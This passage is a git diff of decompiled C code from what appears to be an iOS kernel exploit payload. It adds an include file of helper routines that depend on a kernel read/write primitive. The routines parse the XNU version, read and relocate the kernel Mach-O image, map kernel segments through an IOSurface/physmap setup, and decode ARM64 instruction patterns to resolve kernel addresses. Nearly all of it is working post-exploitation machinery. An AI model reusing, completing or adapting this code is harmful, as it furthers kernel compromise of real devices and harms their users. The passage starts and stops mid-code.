& 3) != 0 ) - return 0; - v7 = (unsigned int)macho_read_u32(a1, a2); - if ( v7 == -721215457 ) - { - v8 = (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4)); - v9 = (v8 >> 5) & 0x7FFFF; - if ( ((v8 >> 5) & 0x40000LL) != 0 ) - v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL; - else - v10 = 4 * v9; - v11 = (char *)a2 + v10 + 4; - if ( HIBYTE(v8) == 88 ) - return v11; - else - return 0; - } - v13 = v7; - if ( (v7 & 0x9F000000) == 0x90000000 ) - { - v3 = (char *)(((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)(((v7 >> 17) & 0x3000) | (v7 >> 5 << 14))); - } - else - { - if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4)) != -721215457 ) - return 0; - v14 = ((v13 >> 3) & 0x1FFFFC) | ((v13 >> 29) & 3); - if ( (v14 & 0x100000) != 0 ) - v14 |= 0xFFFFFFFFFFE00000LL; - v3 = (char *)a2 + v14; - } - v15 = 0; - v16 = v13 & 0x1F; - v17 = a2 + 4; - v18 = (__int64 *)((char *)a2 + 4); - while ( 1 ) - { - v19 = (unsigned int)macho_read_u32(a1, v18); - if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 ) - { - if ( ((v19 >> 5) & 0x1F) == v16 ) - { - v20 = (v19 >> 10) & 0xFFF; - if ( (v19 & 0xC00000) != 0 ) - v20 <<= 12; - v3 += v20; - if ( !a3 || v16 != (v19 & 0x1F) ) - return v3; - v15 = 1; - } - else - { - v15 = 0; - } - } - if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 ) - { - v22 = (unsigned __int64)((v19 >> 10) & 0xFFF) << (v19 >> 30); - goto LABEL_40; - } - if ( (v19 & 0xFFC00000) == 0xB9800000 ) - break; - if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 ) - { - v22 = (v19 >> 10) & 0xFFF; - goto LABEL_40; - } -LABEL_35: - if ( v19 != -698416192 ) - { - v21 = v17 >= v18; - v18 = (__int64 *)((char *)v18 + 4); - if ( v21 ) - continue; - } - return v3; - } - if ( ((v19 >> 5) & 0x1F) != v16 ) - goto LABEL_35; - v22 = (v19 >> 8) & 0x3FFC; -LABEL_40: - v3 += v22; - return v3; -} - -//----- (000000000001ED50) ---------------------------------------------------- -__int64 __fastcall get_kernel_version_string_0(char *a1, size_t a2) -{ - host_t v4; // w0 - kern_return_t v5; // w0 - int v7; // w19 - int v8; // w8 - int v9[2]; // [xsp+8h] [xbp-238h] BYREF - size_t v10; // [xsp+10h] [xbp-230h] BYREF - kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF - - if ( dyldVersionNumber < 800.0 ) - { - v4 = mach_host_self(); - v5 = host_kernel_version(v4, kernel_version); - if ( v5 ) - return v5 | 0x80000000; - goto LABEL_8; - } - *(uint64_t *)v9 = 0x400000001LL; - v10 = 512; - if ( !sysctl(v9, 2u, kernel_version, &v10, 0, 0) ) - { -LABEL_8: - if ( strlen(kernel_version) + 1 > a2 ) - return 708620; - strlcpy(a1, kernel_version, a2); - return 0; - } - v7 = errno; - v8 = errno; - if ( v7 < 0 ) - v8 = -v8; - return v8 | 0x40000000u; -} - -//----- (000000000001EE6C) ---------------------------------------------------- -int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3) -{ - int result; // w0 - char *v7; // x0 - int v8; // w0 - size_t v9; // x0 - char *v10; // x0 - __int32 v11[8]; // [xsp+40h] [xbp-250h] - unsigned __int64 v12; // [xsp+58h] [xbp-238h] - char str[512]; // [xsp+58h] [xbp-238h] BYREF - - result = 0; - memset(v11, 0, sizeof(v11)); - v12 = 0; - if ( dyldVersionNumber >= 1000.0 ) - { - __strlcpy_chk(str, ___kernelVersionString, 0x200u, 0x200u); - v9 = strlen(str); - if ( v9 ) - { - if ( str[v9 - 1] == 10 ) - str[v9 - 1] = 0; - if ( madvise(0, 0, 10) ) - { - if ( errno == 45 ) - { - v10 = strstr(str, "Libsyscall-"); - if ( v10 ) - { - v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); -LABEL_13: - if ( v8 >= 3 ) - { - *a2 = 1; - *a3 = 1; - v11[5] = (v11[0] << 18) | ((v11[1] & 0x1FF) << 9) | (v11[2] & 0x1FF); - *(uint64_t *)&v11[6] = ((((unsigned __int64)(v11[0] & 0x7FFF) << 20) - | ((unsigned __int64)(v11[1] & 0x3FF) << 10) - | (unsigned int)(v11[2] & 0x3FF)) << 20) - | (((unsigned __int64)(unsigned int)v11[3] << 10) & 0xFFC00) - | (unsigned int)(v11[4] & 0x3FF); - v12 = 1; - xnuMajorVersion->qword20 = v12; - xnuMajorVersion->majorVersion = *(__int128 *)v11; - xnuMajorVersion->oword10 = *(__int128 *)&v11[4]; - result = 1; - } - } - } - } - } - } - else if ( !(unsigned int)get_kernel_version_string_0(str, 0x200u) ) - { - if ( strstr(str, "RELEASE") ) - { - v7 = strstr(str, "xnu-"); - if ( v7 ) - { - v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); - goto LABEL_13; - } - } - } - return result; -} +#include "entry1_type0x09_macho_patterns.inc" //----- (000000000001F07C) ---------------------------------------------------- __int64 __fastcall mach_vm_page_info_query_0(vm_map_read_t a1, mach_vm_address_t a2, uint64_t *a3) diff --git a/src/payload_377bed/entry1_type0x09_macho_patterns.inc b/src/payload_377bed/entry1_type0x09_macho_patterns.inc new file mode 100644 index 0000000..719f10e --- /dev/null +++ b/src/payload_377bed/entry1_type0x09_macho_patterns.inc @@ -0,0 +1,3971 @@ +//----- (000000000001972C) ---------------------------------------------------- +__int64 __fastcall validate_kaddr_range(__int64 a1, __int64 a2) +{ + if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL ) + return 0LL; + else + return a2; +} + +//----- (000000000001974C) ---------------------------------------------------- +unsigned __int64 __fastcall check_kaddr_in_physmap(struct_krwCtx *krwCtx, unsigned __int64 vaddr) +{ + __int64 v2; // x8 + uint64_t *i; // x9 + unsigned __int64 v4; // x10 + bool v5; // zf + bool v6; // cc + + if ( vaddr + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) + { + v2 = LODWORD(((uint32_t *)&krwCtx->someMutex)[711]); + if ( (uint32_t)v2 ) + { + for ( i = (pthread_mutex_t *)(((uint32_t *)&krwCtx->someMutex) + 758); ; i += 3 ) + { + v4 = *(i - 1); + v5 = !v4 || *i == 0; + v6 = v5 || v4 > vaddr; + if ( !v6 && *i + v4 > vaddr ) + break; + if ( !--v2 ) + return 0LL; + } + } + else + { + return 0LL; + } + } + return vaddr; +} + +//----- (00000000000197A8) ---------------------------------------------------- +sub_197A8_result macho_find_segment(SearchObj *a1, int /*unused*/ a2) +{ + // ldp x9, x8, [x0] + void *obj = a1->field_0x00; // x9: the search object + uint8_t *cursor = a1->base_ptr; // x8: current search cursor (vm address) + + // ldr x12, [x9] → data array base pointer + uint8_t *data_base = *(uint8_t **)obj; // x12 + + // Find current segment: index stored at [obj+0xc8] + // Entry i is at data_base + i*56, fields at +0x20 (start) and +0x28 (size) + uint32_t seg_idx = *(uint32_t *)((uint8_t *)obj + 0xc8); // w10 + uint8_t *seg_entry = data_base + (uint64_t)seg_idx * 56; + + uint64_t seg_start = *(uint64_t *)(seg_entry + 0x20); // ldp x11,x10,[x10+0x20] + uint64_t seg_size = *(uint64_t *)(seg_entry + 0x28); + + // Check if cursor is within current segment + if ((uint64_t)cursor - seg_start >= seg_size) { + // Current segment miss — search all segments + uint32_t seg_count = *(uint32_t *)((uint8_t *)obj + 0x8); // [x9+0x8] + if (seg_count == 0) + return (sub_197A8_result){0, 0}; + + // Walk segment array starting at data_base+0x20 + // Each entry: [base+0x20]=start, [base+0x28]=size, stride=0x38 + uint8_t *entry = data_base + 0x20; // x12 = data_base+0x28, ldp at -0x8 + uint32_t i = 0; + for (;;) { + uint64_t s_start = *(uint64_t *)(entry - 0x8); // ldp x13,x14,[x12,-0x8] + uint64_t s_size = *(uint64_t *)(entry); + + if ((uint64_t)cursor - s_start < s_size) { + // Found containing segment + *(uint32_t *)((uint8_t *)obj + 0xc8) = i; // str w11,[x9,#0xc8] + break; + } + + i++; + entry += 0x38; // next segment + + if (i == seg_count) + return (sub_197A8_result){0, 0}; + } + } + + // Optional indirection: if [obj+0x101] != 0, follow pointer at [obj+0xa8] + void *mapped_obj = obj; + if (*(uint8_t *)((uint8_t *)obj + 0x101)) { + mapped_obj = *(void **)((uint8_t *)obj + 0xa8); // ldr x9,[x9,#0xa8] + } + + // Compute offset of cursor within mapped region + // [mapped_obj+0xf0] = mapped base address + uint64_t mapped_base = *(uint64_t *)((uint8_t *)mapped_obj + 0xf0); + uint64_t offset = (uint64_t)cursor - mapped_base; // sub x8,x8,x10 + + // [mapped_obj+0xb0] = minimum valid offset (start threshold) + uint64_t min_offset = *(uint64_t *)((uint8_t *)mapped_obj + 0xb0); + if (min_offset > offset) + return (sub_197A8_result){0, 0}; + + // Check requested size fits within remaining mapped region + // a1[2] = requested size + uint64_t requested = a1->size; // ldr x1,[x0,#0x10] + + // [mapped_obj+0xb8] = mapped region size + uint64_t mapped_size = *(uint64_t *)((uint8_t *)mapped_obj + 0xb8); + uint64_t available = min_offset + mapped_size - offset; // add+sub + printf("min 0x%x map 0x%x off 0x%x ; available 0x%x requested 0x%x\n", min_offset, mapped_size, offset, available, requested); + + if (requested > available) + return (sub_197A8_result){0, 0}; + + // Return: x0=offset (relative to mapped_base), x1=requested size + return (sub_197A8_result){offset, requested}; +} + +//----- (000000000001984C) ---------------------------------------------------- +__int64 get_const_8() +{ + return 8LL; +} + +//----- (0000000000019854) ---------------------------------------------------- +__int64 __fastcall unmap_macho_image(__int64 a1) +{ + __int64 result; // x0 + uint8_t *v3; // x9 + vm_size_t v4; // x2 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + if ( *(uint8_t *)(a1 + 257) ) + return 0; + v3 = *(uint8_t **)(a1 + 264); + if ( !v3 ) + return 4; + if ( !*(uint64_t *)(a1 + 176) ) + return 4; + v4 = *(uint64_t *)(a1 + 184); + if ( !v4 ) + return 4; + if ( (*v3 & 2) == 0 ) + return 0; + address = *(uint64_t *)(a1 + 176); + result = vm_allocate(mach_task_self_, &address, v4, 0x4000); + if ( !(uint32_t)result ) + { + bzero( + *(void **)(a1 + 264), + ((*(int *)(a1 + 56) + *(uint64_t *)(a1 + 232) - 1LL) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56)); + return 0; + } + return result; +} + +//----- (00000000000198FC) ---------------------------------------------------- +__int64 __fastcall macho_walk_segment_by_name_impl(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5) +{ + __int64 v9; // x23 + unsigned __int64 v10; // x24 + __int64 result; // x0 + __int64 v12; // x10 + __int64 v13; // x9 + unsigned __int64 v14; // x10 + unsigned __int64 v15; // x19 + unsigned __int64 v16; // x26 + unsigned __int64 v17; // x25 + + v9 = a1; + if ( *(uint8_t *)(a1 + 257) ) + v9 = *(uint64_t *)(a1 + 168); + v10 = *(uint64_t *)(v9 + 176); + if ( v10 > a2 || a2 + a3 > *(uint64_t *)(v9 + 184) + v10 ) + return 3; + result = 0; + v12 = *(int *)(v9 + 56); + v13 = v12 + a2 + a3; + v14 = -(int)v12; + v15 = v14 & a2; + v16 = --v13 & v14; + if ( (v13 & v14) > (v14 & a2) ) + { + v17 = *(int *)(a1 + 56); + while ( (*(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 ) + { + v15 += v17; + if ( v16 <= v15 ) + return 0; + } + if ( has_valid_krw_path(KRWCTX_FROM_RAW_FIELD(v9, 280)) + && krw_ctx_has_read_caps(KRWCTX_FROM_RAW_FIELD(v9, 280)) + && (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) > *(uint32_t *)(v9 + 56) + && v16 - v15 < (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) + && a4 > a3 ) + { + v16 = (*(int *)(v9 + 56) + a2 + a4 - 1) & -*(uint32_t *)(v9 + 56); + if ( v16 > v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) ) + v16 = v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)); + } + if ( (unsigned int)krw_read_thunk( + KRWCTX_FROM_RAW_FIELD(v9, 280), + *(uint64_t *)(v9 + 224) - v10 + v15, + v16 - v15, + (void *)v15) ) + { + for ( ; v15 < v16; v15 += v17 ) + *(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) |= 1u; + result = 0; + **(uint8_t **)(v9 + 264) |= 2u; + } + else + { + return 5; + } + } + return result; +} + +//----- (0000000000019AC4) ---------------------------------------------------- +__int64 __fastcall macho_walk_segment_by_name_0(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4) +{ + return macho_walk_segment_by_name_impl(a1, a2, a3, a4, 0); +} + +//----- (0000000000019ACC) ---------------------------------------------------- +unsigned int __fastcall macho_read_u32(__int64 *a1, __int64 *a2) +{ + SearchObj v5 = {a1, a2, 4}; + unsigned int *result = (unsigned int *)macho_find_segment(&v5, 1).addr; + if ( !result ) return 0; + macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 4u, 0, 0); + return *result; +} +// 4: using guessed type int dword_4; + +//----- (0000000000019B30) ---------------------------------------------------- +unsigned __int64 __fastcall macho_read_u64(__int64 *a1, __int64 *a2) +{ + SearchObj v5 = {a1, a2, 8}; + unsigned __int64 *result = (unsigned __int64 *)macho_find_segment(&v5, 1).addr; + if ( !result ) return 0; + macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 8, 0, 0); + return *result; +} +// 8: using guessed type int dword_8; + +//----- (0000000000019B98) ---------------------------------------------------- +void __usercall macho_walk_segment_by_name(char *s2, __int64 a2, SearchObj *a3) +{ + __int64 v4; // x8 + unsigned __int64 v5; // x22 + __int64 v6; // x8 + unsigned __int64 v7; // x23 + __int128 result; // q0 + + v4 = **(uint64_t **)(a2 + 208); + v5 = v4 + 32; + v6 = *(unsigned int *)(v4 + 20); + v7 = v5 + v6; + if ( v5 >= v5 + v6 ) + { +LABEL_5: + a3->field_0x00 = 0LL; + a3->base_ptr = 0LL; + a3->size = 0LL; + } + else + { + while ( *(uint32_t *)v5 != 25 || strncmp((const char *)(v5 + 8), s2, 0x10uLL) ) + { + v5 += *(unsigned int *)(v5 + 4); + if ( v5 >= v7 ) + goto LABEL_5; + } + a3->field_0x00 = a2; + result = *(__int128 *)(v5 + 24); + *(__int128 *)&a3->base_ptr = result; + } + //return result; +} + +//----- (0000000000019C34) ---------------------------------------------------- +__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, uint64_t *a4) +{ + __int64 v5; // x8 + unsigned __int64 v6; // x24 + __int64 v7; // x8 + unsigned __int64 v8; // x25 + __n128 result; // q0 + __int64 v13; // x26 + __n128 *v14; // x23 + + v5 = **(uint64_t **)(a2 + 208); + v6 = v5 + 32; + v7 = *(unsigned int *)(v5 + 20); + v8 = v6 + v7; + if ( v6 >= v6 + v7 ) + { +LABEL_11: + *a4 = 0; + a4[1] = 0; + a4[2] = 0; + } + else + { + while ( 1 ) + { + if ( *(uint32_t *)v6 == 25 && !strncmp((const char *)(v6 + 8), seg, 0x10u) ) + { + v13 = *(unsigned int *)(v6 + 64); + if ( (uint32_t)v13 ) + break; + } +LABEL_4: + v6 += *(unsigned int *)(v6 + 4); + if ( v6 >= v8 ) + goto LABEL_11; + } + v14 = (__n128 *)(v6 + 72); + while ( strncmp((const char *)v14, sect, 0x10u) ) + { + v14 += 5; + if ( !--v13 ) + goto LABEL_4; + } + *a4 = a2; + result = v14[2]; + *(__n128 *)(a4 + 1) = result; + } + return result; +} + +//----- (0000000000019D10) ---------------------------------------------------- +double macho_find_text_section(__int64 a1, uint64_t *a2) +{ + double result; // d0 + + *(uint64_t *)&result = macho_getsectbyname((char *)*(uint64_t *)(a1 + 272), a1, "__text", a2).n128_u64[0]; + return result; +} + +//----- (0000000000019D20) ---------------------------------------------------- +__int64 __fastcall macho_find_loadcmd_by_name(__int64 a1, char *__s2, unsigned __int64 a3) +{ + __int64 v3; // x8 + unsigned __int64 v4; // x21 + __int64 v5; // x8 + unsigned __int64 i; // x22 + __int64 v9; // x8 + unsigned int v10; // w24 + const char *v12; // x0 + unsigned __int64 v13; // x8 + size_t v14; // x2 + + v3 = **(uint64_t **)(a1 + 208); + v4 = v3 + 32; + v5 = *(unsigned int *)(v3 + 20); + for ( i = v4 + v5; v4 < i; v4 += v10 ) + { + if ( *(uint32_t *)v4 == -2147483595 ) + { + v9 = *(unsigned int *)(v4 + 24); + v10 = *(uint32_t *)(v4 + 4); + if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 ) + { + v12 = (const char *)(v4 + v9); + v13 = v10 - (unsigned int)v9; + v14 = v13 <= a3 ? v13 : a3; + if ( !strncmp(v12, __s2, v14) ) + return *(uint64_t *)(v4 + 8); + } + } + else + { + v10 = *(uint32_t *)(v4 + 4); + } + } + return 0; +} + +//----- (0000000000019DD4) ---------------------------------------------------- +double __fastcall krw_ctx_zero_fields(struct_a1 *a1, struct_krwCtx *krwCtx) +{ + double result; // d0 + + result = 0.0; + a1->oword100 = 0u; + a1->oword110 = 0u; + a1->owordE0 = 0u; + a1->owordF0 = 0u; + a1->owordC0 = 0u; + a1->owordD0 = 0u; + a1->owordA0 = 0u; + a1->owordB0 = 0u; + a1->oword80 = 0u; + a1->oword90 = 0u; + a1->oword60 = 0u; + a1->xnuMajorVersion = 0u; + a1->oword40 = 0u; + a1->oword50 = 0u; + a1->oword20 = 0u; + a1->oword30 = 0u; + a1->oword0 = 0u; + a1->oword10 = 0u; + *((uint64_t *)&a1->oword110 + 1) = KRWCTX_RAW_PTR(krwCtx); + a1->qword120 = 0LL; + return result; +} + +//----- (0000000000019E04) ---------------------------------------------------- +__int64 __fastcall free_macho_image_vm(__int64 a1) +{ + vm_address_t v1; // x1 + uint64_t *v2; // x19 + vm_size_t v3; // x2 + + v2 = (uint64_t *)(a1 + 176); + v1 = *(uint64_t *)(a1 + 176); + if ( !v1 ) + return 0; + v3 = *(uint64_t *)(a1 + 184); + if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) ) + return 0; + *v2 = 0; + v2[1] = 0; + return 1; +} + +//----- (0000000000019E58) ---------------------------------------------------- +bool __fastcall map_macho_image_vm(__int64 a1) +{ + kern_return_t v2; // w8 + uint64_t result; // x0 + vm_address_t v4; // x1 + vm_size_t v5; // x2 + vm_address_t v6; // x8 + __int64 v7; // x9 + __int64 v8; // x10 + void *v9; // x0 + vm_address_t address; // [xsp+18h] [xbp-18h] BYREF + + address = 0; + v2 = vm_map(mach_task_self_, &address, *(uint64_t *)(a1 + 232), *(int *)(a1 + 56) - 1LL, 1, 0, 0, 0, 3, 3, 1u); + result = 0; + if ( !v2 ) + { + v4 = *(uint64_t *)(a1 + 176); + if ( v4 ) + { + v5 = *(uint64_t *)(a1 + 184); + if ( v5 ) + vm_deallocate(mach_task_self_, v4, v5); + } + v6 = address; + v8 = *(uint64_t *)(a1 + 224); + v7 = *(uint64_t *)(a1 + 232); + *(uint64_t *)(a1 + 176) = address; + *(uint64_t *)(a1 + 184) = v7; + *(uint64_t *)(a1 + 240) = v8 - v6; + v9 = calloc(((*(int *)(a1 + 56) + v7 - 1) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56), 1u); + *(uint64_t *)(a1 + 264) = v9; + return v9 != 0; + } + return result; +} + +//----- (0000000000019F2C) ---------------------------------------------------- +bool __fastcall alloc_kernel_offset_table(__int64 a1, __int64 a2) +{ + unsigned __int64 v5; // x21 + uint32_t *v6; // x22 + char v7; // w8 + __int64 v8; // x8 + char *v9; // x21 + char *v10; // x22 + __int64 v11; // x23 + char *v12; // x24 + __int64 v13; // x8 + uint64_t *v14; // x9 + uint32_t v15[8]; // [xsp+0h] [xbp-50h] BYREF + + *(uint64_t *)(a1 + 208) = (uint64_t)calloc(0x48u, 1u); + if ( *(uint64_t *)(a1 + 208) ) + { + if ( krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 280), a2, 32, v15) ) + { + v5 = v15[5] + 32LL; + v6 = calloc(v5, 1u); + if ( v6 ) + { + if ( krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 280), a2, v5, v6) ) + { + **(uint64_t **)(a1 + 208) = v6; + if ( *v6 == -17958194 ) + { + v7 = 4; + } + else + { + if ( *v6 != -17958193 ) + return false; + v7 = 8; + } + *(uint8_t *)(a1 + 52) = v7; + v8 = (unsigned int)v6[5]; + if ( v5 < (unsigned int)(v8 + 32) ) + return false; + v9 = (char *)(v6 + 8); + v10 = (char *)v6 + v8 + 32; + if ( v9 >= v10 ) + { + return true; + } + else + { + v11 = 0; + v12 = v9; + do + { + if ( *(uint32_t *)v12 == 25 && !strcmp(v12 + 8, "__TEXT") ) + v11 = a2 - *((uint64_t *)v12 + 3); + v12 += *((unsigned int *)v12 + 1); + } + while ( v12 < v10 ); + if ( v11 && v9 < v10 ) + { + do + { + if ( *(uint32_t *)v9 == 25 ) + { + v13 = *((unsigned int *)v9 + 16); + if ( (uint32_t)v13 ) + { + v14 = v9 + 104; + do + { + *v14 += v11; + v14 += 10; + --v13; + } + while ( v13 ); + } + *((uint64_t *)v9 + 3) += v11; + } + v9 += *((unsigned int *)v9 + 1); + } + while ( v9 < v10 ); + } + return true; + } + } + } + } + } + return false; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001A0D4) ---------------------------------------------------- +bool __fastcall iosurface_physmap_setup_bool(__int64 someStruct, int a2, __int64 a3, unsigned int a4) +{ + return iosurface_physmap_setup(someStruct, a2, a3, a4); +} + +//----- (000000000001A0F4) ---------------------------------------------------- +bool __fastcall iosurface_physmap_setup(__int64 someStruct, int a2, __int64 a3, unsigned int a4) +{ + bool result; // w0 + __int64 v9; // x23 + int *v10; // x9 + __int64 v11; // x24 + unsigned __int64 v12; // x10 + unsigned __int64 v13; // x11 + unsigned int v16; // w8 + unsigned __int64 v17; // x14 + int v18; // w16 + unsigned int v19; // w15 + unsigned __int64 v20; // x25 + unsigned __int64 v21; // x24 + __int64 v22; // x22 + __int128 v23; // q0 + __int128 v24; // q0 + __int64 v25; // x8 + int8x16_t *v26; // x8 + int8x16_t *v27; // x27 + __int64 v28; // x8 + int8x16_t *v29; // x24 + unsigned __int64 v30; // x26 + int v31; // w22 + int v32; // w23 + unsigned __int64 v33; // x28 + __int64 v34; // x8 + unsigned __int64 v35; // x8 + unsigned __int64 v36; // x8 + __int64 v38; // x8 + int8x16_t v39; // q1 + unsigned __int64 v40; // x8 + unsigned __int64 v41; // x9 + bool v42; // cf + unsigned __int64 v43; // x9 + void *segments; // x0 + __int64 v44; // [xsp+0h] [xbp-70h] + uint64_t v45[3]; // [xsp+8h] [xbp-68h] BYREF + + result = alloc_kernel_offset_table(someStruct, a3); + if ( !result ) + return result; + *(uint32_t *)(someStruct + 216) = a2; + *(uint8_t *)(someStruct + 256) = 1; + v9 = **(uint64_t **)(someStruct + 208); + v10 = (int *)(v9 + 32); + v11 = *(unsigned int *)(v9 + 20); + v12 = v9 + 32 + v11; + v13 = v12 - 8; + if ( v9 + 32 >= v12 || v9 + 40 > v12 || (unsigned __int64)v10 > v13 ) + return 0; + v16 = 0; + do + { + v17 = (unsigned int)v10[1]; + if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 ) + break; + v18 = *v10; + v19 = 24; + if ( *v10 <= 10 ) + { + switch ( v18 ) + { + case -2147483617: + goto LABEL_26; + case -2147483614: +LABEL_24: + v19 = 48; + goto LABEL_26; + case 2: + goto LABEL_26; + } + } + else if ( v18 > 24 ) + { + if ( v18 == 34 ) + goto LABEL_24; + if ( v18 == 25 ) + { + ++v16; + v19 = 72; + goto LABEL_26; + } + } + else + { + if ( v18 == 11 ) + { + v19 = 80; +LABEL_26: + if ( (unsigned int)v17 < v19 ) + break; + goto LABEL_27; + } + if ( v18 == 13 ) + goto LABEL_26; + } +LABEL_27: + v10 = (int *)((char *)v10 + v17); + } + while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 ); + if ( !v16 ) + return 0; + *(uint32_t *)(someStruct + 8) = v16; + segments = malloc(56LL * v16); + *(uint64_t *)someStruct = (uint64_t)segments; + if ( !segments ) + return false; + *(uint64_t *)(someStruct + 272) = "__TEXT"; + v20 = v9 + 32; + v21 = v9 + 32 + v11; + if ( v9 + 32 < v21 ) + { + v22 = (__int64)segments; + do + { + if ( *(uint32_t *)v20 == 25 ) + { + if ( *(unsigned int *)(v20 + 64) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 72) / 0x50 ) + return 0; + if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") ) + *(uint64_t *)(someStruct + 272) = "__TEXT_EXEC"; + v23 = *(__int128 *)(v20 + 40); + *(uint64_t *)v22 = someStruct; + *(__int128 *)(v22 + 8) = v23; + v24 = *(__int128 *)(v20 + 24); + *(uint64_t *)(v22 + 24) = someStruct; + *(__int128 *)(v22 + 32) = v24; + *(uint64_t *)(v22 + 48) = v20; + v22 += 56; + } + v20 += *(unsigned int *)(v20 + 4); + } + while ( v20 < v21 ); + v9 = **(uint64_t **)(someStruct + 208); + } + *(int32x2_t *)(someStruct + 40) = vrev64_s32(*(int32x2_t *)(v9 + 4)); + *(uint32_t *)(someStruct + 48) = *(uint32_t *)(v9 + 24); + if ( (a4 & 0x100) != 0 ) + { + macho_getsectbyname("__TEXT", someStruct, "__thread_starts", v45); + if ( v45[2] ) + *(uint8_t *)(someStruct + 156) = 1; + if ( (a4 & 0x400) != 0 ) + { + if ( *(uint64_t *)someStruct ) + { + v25 = *(uint64_t *)(*(uint64_t *)someStruct + 8LL); + if ( v25 ) + *(uint64_t *)(someStruct + 160) = a3 - v25; + } + } + } + if ( (a4 & 0x40) != 0 ) + return true; + v26 = **(int8x16_t ***)(someStruct + 208); + v27 = v26 + 2; + v28 = v26[1].u32[1]; + v29 = (int8x16_t *)((char *)v27 + v28); + if ( v27 >= (int8x16_t *)&v27->i8[v28] ) + return 0; + v30 = 0; + v31 = 0; + v44 = *(int *)(someStruct + 56) - 1LL; + v32 = a4 & 0x580; + v33 = a3; + while ( 2 ) + { + if ( v27->i32[0] == 25 ) + { + if ( !strcmp(&v27->i8[8], "__TEXT") ) + { + *(uint64_t *)(someStruct + 248) = a3 - v27[1].i64[1]; + if ( (a4 & 0x100) != 0 ) + goto LABEL_54; + } + else if ( (a4 & 0x100) != 0 ) + { +LABEL_54: + if ( !strcmp(&v27->i8[8], "__KLD") ) + v31 = 1; + } + if ( v32 != 384 ) + { + v34 = v27[2].i64[0]; + if ( v34 ) + { + v35 = v27[1].i64[1] + v34; + if ( v35 > v30 ) + v30 = v35; + } + } + if ( (a4 & 0x400) != 0 && v27[2].i64[0] ) + { + v36 = v27[1].u64[1]; + if ( v36 < v33 && v36 != 0 ) + v33 = v27[1].u64[1]; + } + if ( !strcmp(&v27->i8[8], "__LINKEDIT") ) + { + v38 = v27[1].i64[1]; + v39 = vextq_s8(v27[2], v27[2], 8u); + if ( v32 == 384 ) + v30 = v27[2].i64[0] + v38; + *(uint64_t *)(someStruct + 16) = v38; + *(int8x16_t *)(someStruct + 24) = v39; + } + } + v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]); + if ( v27 < v29 ) + continue; + break; + } + result = false; + if ( ((v31 == 0) & (a4 >> 8)) == 0 && v30 ) + { + if ( (~a4 & 0x500) == 0 && *(uint64_t *)(someStruct + 160) ) + v33 = *(uint64_t *)(someStruct + 160); + v40 = v33 & ~v44; + if ( v33 == a3 ) + v40 = a3; + v41 = (v30 + v44) & ~v44; + v42 = v41 >= v40; + v43 = v41 - v40; + if ( v42 ) + { + *(uint64_t *)(someStruct + 224) = v40; + *(uint64_t *)(someStruct + 232) = v43; + return map_macho_image_vm(someStruct) != 0; + } + else + { + return 0; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001A4FC) ---------------------------------------------------- +bool __fastcall iosurface_physmap_setup_alt(__int64 notctx, int a2, __int64 a3, int a4) +{ + return iosurface_physmap_setup(notctx, a2, a3, a4 | 0x100u); +} + +//----- (000000000001A520) ---------------------------------------------------- +void __fastcall free_kernel_image_resources(__int64 a1) +{ + void **v2; // x0 + void *v3; // x0 + + free_macho_image_vm(a1); + v2 = *(void ***)(a1 + 208); + if ( v2 ) + { + if ( *v2 ) + { + free(*v2); + v2 = *(void ***)(a1 + 208); + *v2 = 0; + } + free(v2); + *(uint64_t *)(a1 + 208) = 0; + } + if ( *(uint64_t *)a1 ) + { + free(*(void **)a1); + *(uint64_t *)a1 = 0; + } + v3 = *(void **)(a1 + 264); + if ( v3 ) + { + free(v3); + *(uint64_t *)(a1 + 264) = 0; + } +} + +//----- (000000000001A58C) ---------------------------------------------------- +__int64 __fastcall krw_ctx_setup_physmap(__int64 a1, uint64_t **a2, __int64 a3) +{ + unsigned __int64 v6; // x25 + __int64 result; // x0 + unsigned __int64 v8; // x0 + int v9; 